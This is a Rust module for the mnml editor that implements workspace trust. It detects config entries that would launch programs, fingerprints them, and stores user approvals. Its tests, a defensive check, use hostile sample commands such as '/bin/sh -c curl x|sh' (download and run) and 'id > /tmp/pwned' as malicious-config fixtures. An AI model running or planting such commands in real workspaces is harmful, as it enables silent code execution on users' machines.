use std::collections::BTreeMap;
use std::path::{Path, PathBuf};
#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)]
pub enum ExecKind {
LanguageServer,
Formatter,
MdPreview,
StartupPty,
Integration,
}
impl ExecKind {
pub fn label(self) -> &'static str {
match self {
Self::LanguageServer => "language server",
Self::Formatter => "format on save",
Self::MdPreview => "markdown preview",
Self::StartupPty => "run at startup",
Self::Integration => "integration",
}
}
pub fn trigger(self) -> &'static str {
match self {
Self::LanguageServer => "when you open a file",
Self::Formatter => "when you save",
Self::MdPreview => "when you preview markdown",
Self::StartupPty => "immediately, on open",
Self::Integration => "when you click its chip",
}
}
}
#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord)]
pub struct ExecClaim {
pub kind: ExecKind,
pub key: String,
pub command: String,
}
impl ExecClaim {
pub fn entry_name(&self) -> &str {
match self.key.split_once('.') {
Some((_, rest)) if !rest.is_empty() => rest,
_ => &self.key,
}
}
fn canonical(&self) -> String {
format!("{:?}\u{1f}{}\u{1f}{}", self.kind, self.key, self.command)
}
}
pub fn scan(workspace: &Path) -> Vec<ExecClaim> {
let mut out = Vec::new();
let mnml_dir = workspace.join(".mnml");
scan_config(&mnml_dir.join("config.toml"), &mut out);
scan_integrations(&mnml_dir.join("integrations"), &mut out);
out.sort();
out.dedup();
out
}
fn scan_config(path: &Path, out: &mut Vec<ExecClaim>) {
let Ok(text) = std::fs::read_to_string(path) else {
return;
};
let Ok(doc) = toml::from_str::<toml::Value>(&text) else {
return;
};
if let Some(lsp) = doc.get("lsp").and_then(|v| v.as_table()) {
for (name, val) in lsp {
let Some(t) = val.as_table() else { continue };
let Some(cmd) = t.get("cmd").and_then(|v| v.as_str()) else {
continue;
};
let args: Vec<String> = t
.get("args")
.and_then(|v| v.as_array())
.map(|a| {
a.iter()
.filter_map(|v| v.as_str().map(str::to_string))
.collect()
})
.unwrap_or_default();
let rendered = if args.is_empty() {
cmd.to_string()
} else {
format!("{cmd} {}", args.join(" "))
};
out.push(ExecClaim {
kind: ExecKind::LanguageServer,
key: format!("lsp.{name}"),
command: rendered,
});
}
}
if let Some(fmts) = doc.get("formatters").and_then(|v| v.as_table()) {
for (ext, val) in fmts {
let Some(t) = val.as_table() else { continue };
let Some(cmd) = t.get("cmd") else { continue };
let rendered = match cmd {
toml::Value::String(s) => s.clone(),
toml::Value::Array(a) => a
.iter()
.filter_map(|v| v.as_str())
.collect::<Vec<_>>()
.join(" · "),
_ => continue,
};
if rendered.trim().is_empty() {
continue;
}
out.push(ExecClaim {
kind: ExecKind::Formatter,
key: format!("formatters.{ext}"),
command: rendered,
});
}
}
if let Some(engine) = doc
.get("ui")
.and_then(|u| u.get("md_preview_engine"))
.and_then(|v| v.as_str())
&& let Some(cmd) = engine.strip_prefix("custom:")
&& !cmd.trim().is_empty()
{
out.push(ExecClaim {
kind: ExecKind::MdPreview,
key: "ui.md_preview_engine".to_string(),
command: cmd.to_string(),
});
}
if let Some(entries) = doc
.get("startup")
.and_then(|s| s.get("layout"))
.and_then(|v| v.as_array())
{
for entry in entries {
let Some(t) = entry.as_table() else { continue };
if t.get("kind").and_then(|v| v.as_str()) != Some("pty") {
continue;
}
let Some(cmd) = t.get("cmd").and_then(|v| v.as_str()) else {
continue;
};
if cmd.trim().is_empty() {
continue;
}
out.push(ExecClaim {
kind: ExecKind::StartupPty,
key: "startup.layout".to_string(),
command: cmd.to_string(),
});
}
}
}
fn scan_integrations(dir: &Path, out: &mut Vec<ExecClaim>) {
let Ok(entries) = std::fs::read_dir(dir) else {
return;
};
for entry in entries.flatten() {
let path = entry.path();
if path.extension().and_then(|s| s.to_str()) != Some("toml") {
continue;
}
let Ok(text) = std::fs::read_to_string(&path) else {
continue;
};
let Ok(doc) = toml::from_str::<toml::Value>(&text) else {
continue;
};
let name = path
.file_stem()
.and_then(|s| s.to_str())
.unwrap_or("unknown")
.to_string();
let cmds: Vec<String> = doc
.get("commands")
.and_then(|v| v.as_array())
.map(|a| {
a.iter()
.filter_map(|c| c.get("command").and_then(|v| v.as_str()))
.map(str::to_string)
.collect()
})
.unwrap_or_default();
let launcher = doc
.get("launcher")
.and_then(|v| v.as_str())
.map(str::to_string);
let profiles: Vec<String> = doc
.get("launch_profile")
.and_then(|v| v.as_array())
.map(|a| {
a.iter()
.filter_map(|p| {
let cmd = p.get("command").and_then(|v| v.as_str())?;
let name = p.get("name").and_then(|v| v.as_str()).unwrap_or("?");
Some(format!("{name}: {cmd}"))
})
.collect()
})
.unwrap_or_default();
let env_keys: Vec<String> = doc
.get("env")
.and_then(|v| v.as_table())
.map(|t| t.keys().cloned().collect())
.unwrap_or_default();
if cmds.is_empty() && launcher.is_none() && profiles.is_empty() && env_keys.is_empty() {
continue;
}
let mut parts = Vec::new();
if let Some(l) = launcher {
parts.push(format!("launcher: {l}"));
}
if !profiles.is_empty() {
parts.push(profiles.join(" · "));
}
if !cmds.is_empty() {
parts.push(cmds.join(" · "));
}
if !env_keys.is_empty() {
parts.push(format!("env: {}", env_keys.join(", ")));
}
out.push(ExecClaim {
kind: ExecKind::Integration,
key: format!("integrations.{name}"),
command: parts.join(" | "),
});
}
}
pub fn fingerprint(claims: &[ExecClaim]) -> String {
let mut hash: u64 = 0xcbf2_9ce4_8422_2325;
for claim in claims {
for byte in claim.canonical().bytes() {
hash ^= byte as u64;
hash = hash.wrapping_mul(0x100_0000_01b3);
}
hash ^= b'\n' as u64;
hash = hash.wrapping_mul(0x100_0000_01b3);
}
format!("{hash:016x}")
}
fn store_path() -> Option<PathBuf> {
let cfg = crate::config::user_config_path()?;
Some(cfg.parent()?.join("trusted_workspaces.toml"))
}
fn store_key(workspace: &Path) -> String {
workspace
.canonicalize()
.unwrap_or_else(|_| workspace.to_path_buf())
.display()
.to_string()
}
fn read_store() -> BTreeMap<String, String> {
let Some(path) = store_path() else {
return BTreeMap::new();
};
let Ok(text) = std::fs::read_to_string(path) else {
return BTreeMap::new();
};
toml::from_str::<BTreeMap<String, String>>(&text).unwrap_or_default()
}
pub fn is_trusted(workspace: &Path, fp: &str) -> bool {
read_store().get(&store_key(workspace)).map(String::as_str) == Some(fp)
}
pub fn is_workspace_trusted(workspace: &Path) -> bool {
let claims = scan(workspace);
claims.is_empty() || is_trusted(workspace, &fingerprint(&claims))
}
pub fn trust(workspace: &Path, fp: &str) -> Result<(), String> {
let Some(path) = store_path() else {
return Err("no user config dir".to_string());
};
let mut store = read_store();
store.insert(store_key(workspace), fp.to_string());
write_store(&path, &store)
}
pub fn revoke(workspace: &Path) -> Result<(), String> {
let Some(path) = store_path() else {
return Err("no user config dir".to_string());
};
let mut store = read_store();
store.remove(&store_key(workspace));
write_store(&path, &store)
}
fn write_store(path: &Path, store: &BTreeMap<String, String>) -> Result<(), String> {
if let Some(dir) = path.parent() {
std::fs::create_dir_all(dir).map_err(|e| format!("{}: {e}", dir.display()))?;
}
let body = toml::to_string(store).map_err(|e| format!("serialize: {e}"))?;
let header = "# Workspaces you've allowed to run programs declared in their\n\
# own .mnml/ config (language servers, formatters, startup\n\
# commands). Key = canonical path, value = a fingerprint of\n\
# what was approved — if the workspace's config changes,\n\
# mnml asks again. Delete a line to revoke.\n\n";
std::fs::write(path, format!("{header}{body}")).map_err(|e| format!("{}: {e}", path.display()))
}
#[cfg(test)]
mod tests {
use super::*;
fn ws_with_config(body: &str) -> tempfile::TempDir {
let d = tempfile::tempdir().unwrap();
std::fs::create_dir_all(d.path().join(".mnml")).unwrap();
std::fs::write(d.path().join(".mnml/config.toml"), body).unwrap();
d
}
#[test]
fn workspace_without_mnml_dir_makes_no_claims() {
let d = tempfile::tempdir().unwrap();
assert!(scan(d.path()).is_empty());
}
#[test]
fn benign_config_without_exec_keys_makes_no_claims() {
let d = ws_with_config("[ui]\ntheme = \"gruvbox\"\n[editor]\ninput_style = \"vim\"\n");
assert!(scan(d.path()).is_empty());
}
#[test]
fn lsp_cmd_is_claimed_with_args_rendered() {
let d = ws_with_config(
"[lsp.evil]\ncmd = \"/bin/sh\"\nargs = [\"-c\", \"curl x|sh\"]\nextensions = [\"rs\"]\n",
);
let claims = scan(d.path());
assert_eq!(claims.len(), 1);
assert_eq!(claims[0].kind, ExecKind::LanguageServer);
assert_eq!(claims[0].command, "/bin/sh -c curl x|sh");
}
#[test]
fn lsp_table_without_cmd_is_not_a_claim() {
let d = ws_with_config("[lsp.rust]\nextensions = [\"rs\", \"rsx\"]\n");
assert!(scan(d.path()).is_empty());
}
#[test]
fn startup_pty_is_claimed_but_editor_entries_are_not() {
let d = ws_with_config(
"[[startup.layout]]\nkind = \"pty\"\ncmd = \"id > /tmp/pwned\"\n\n\
[[startup.layout]]\nkind = \"editor\"\npath = \"README.md\"\nsplit = \"right\"\n",
);
let claims = scan(d.path());
assert_eq!(claims.len(), 1);
assert_eq!(claims[0].kind, ExecKind::StartupPty);
}
#[test]
fn md_preview_custom_is_claimed_but_builtin_is_not() {
let d = ws_with_config("[ui]\nmd_preview_engine = \"custom:evil.sh\"\n");
assert_eq!(scan(d.path()).len(), 1);
let d2 = ws_with_config("[ui]\nmd_preview_engine = \"builtin\"\n");
assert!(scan(d2.path()).is_empty());
}
#[test]
fn formatter_cmd_accepts_string_and_list_forms() {
let d = ws_with_config("[formatters.rs]\ncmd = \"rustfmt\"\n");
assert_eq!(scan(d.path()).len(), 1);
let d2 = ws_with_config("[formatters.js]\ncmd = [\"prettier\", \"--write\"]\n");
assert_eq!(scan(d2.path()).len(), 1);
}
#[test]
fn malformed_config_yields_no_claims_rather_than_panicking() {
let d = ws_with_config("this is not [valid toml @@@");
assert!(scan(d.path()).is_empty());
}
#[test]
fn fingerprint_is_stable_and_change_sensitive() {
let d = ws_with_config("[lsp.a]\ncmd = \"rust-analyzer\"\n");
let a = fingerprint(&scan(d.path()));
assert_eq!(a, fingerprint(&scan(d.path())), "must be deterministic");
let d2 = ws_with_config("[lsp.a]\ncmd = \"/bin/sh\"\n");
assert_ne!(a, fingerprint(&scan(d2.path())));
}
#[test]
fn fingerprint_ignores_unrelated_config_edits() {
let d = ws_with_config("[lsp.a]\ncmd = \"rust-analyzer\"\n");
let a = fingerprint(&scan(d.path()));
let d2 = ws_with_config("[ui]\ntheme = \"nord\"\n[lsp.a]\ncmd = \"rust-analyzer\"\n");
assert_eq!(a, fingerprint(&scan(d2.path())));
}
#[test]
fn empty_claim_set_fingerprints_consistently() {
let d = tempfile::tempdir().unwrap();
assert_eq!(fingerprint(&scan(d.path())), fingerprint(&[]));
}
fn with_isolated_store<T>(f: impl FnOnce() -> T) -> T {
let _lk = crate::test_env_lock()
.lock()
.unwrap_or_else(|e| e.into_inner());
let home = tempfile::tempdir().unwrap();
let _root = crate::EnvGuard::set("MNML_DATA_ROOT", home.path());
f()
}
#[test]
fn trust_round_trips_and_is_scoped_to_the_fingerprint() {
with_isolated_store(|| {
let d = ws_with_config("[lsp.a]\ncmd = \"rust-analyzer\"\n");
let claims = scan(d.path());
let fp = fingerprint(&claims);
assert!(!is_trusted(d.path(), &fp), "untrusted before granting");
trust(d.path(), &fp).unwrap();
assert!(is_trusted(d.path(), &fp), "trusted after granting");
let changed = fingerprint(&[ExecClaim {
kind: ExecKind::LanguageServer,
key: "lsp.a".into(),
command: "/bin/sh -c curl|sh".into(),
}]);
assert!(!is_trusted(d.path(), &changed), "changed claims re-prompt");
revoke(d.path()).unwrap();
assert!(!is_trusted(d.path(), &fp), "revoke sticks");
});
}
#[test]
fn trust_is_per_workspace() {
with_isolated_store(|| {
let a = ws_with_config("[lsp.a]\ncmd = \"rust-analyzer\"\n");
let b = ws_with_config("[lsp.a]\ncmd = \"rust-analyzer\"\n");
let fp = fingerprint(&scan(a.path()));
trust(a.path(), &fp).unwrap();
assert!(is_trusted(a.path(), &fp));
assert!(!is_trusted(b.path(), &fp));
});
}
#[test]
fn entry_name_strips_the_section_prefix() {
let claim = |k: &str| ExecClaim {
kind: ExecKind::Integration,
key: k.to_string(),
command: "x".into(),
};
assert_eq!(
claim("integrations.claude_code").entry_name(),
"claude_code"
);
assert_eq!(claim("lsp.rust").entry_name(), "rust");
assert_eq!(claim("formatters.rs").entry_name(), "rs");
assert_eq!(claim("standalone").entry_name(), "standalone");
assert_eq!(claim("trailing.").entry_name(), "trailing.");
}
#[test]
fn integration_launch_profile_is_a_claim() {
let d = tempfile::tempdir().unwrap();
let dir = d.path().join(".mnml/integrations");
std::fs::create_dir_all(&dir).unwrap();
std::fs::write(
dir.join("claude_code.toml"),
"default_profile = \"multi-repo\"\n\
[[launch_profile]]\nname = \"multi-repo\"\ncommand = \"/tmp/evil.sh\"\n",
)
.unwrap();
let claims = scan(d.path());
assert_eq!(claims.len(), 1, "launch_profile must be claimed");
assert_eq!(claims[0].kind, ExecKind::Integration);
assert!(claims[0].command.contains("/tmp/evil.sh"));
}
#[test]
fn integration_env_block_alone_is_a_claim() {
let d = tempfile::tempdir().unwrap();
let dir = d.path().join(".mnml/integrations");
std::fs::create_dir_all(&dir).unwrap();
std::fs::write(
dir.join("jira.toml"),
"id = \"jira\"\n[env]\nPATH = \"/tmp/evil\"\n",
)
.unwrap();
let claims = scan(d.path());
assert_eq!(claims.len(), 1);
assert_eq!(claims[0].kind, ExecKind::Integration);
assert!(claims[0].command.contains("PATH"));
}
}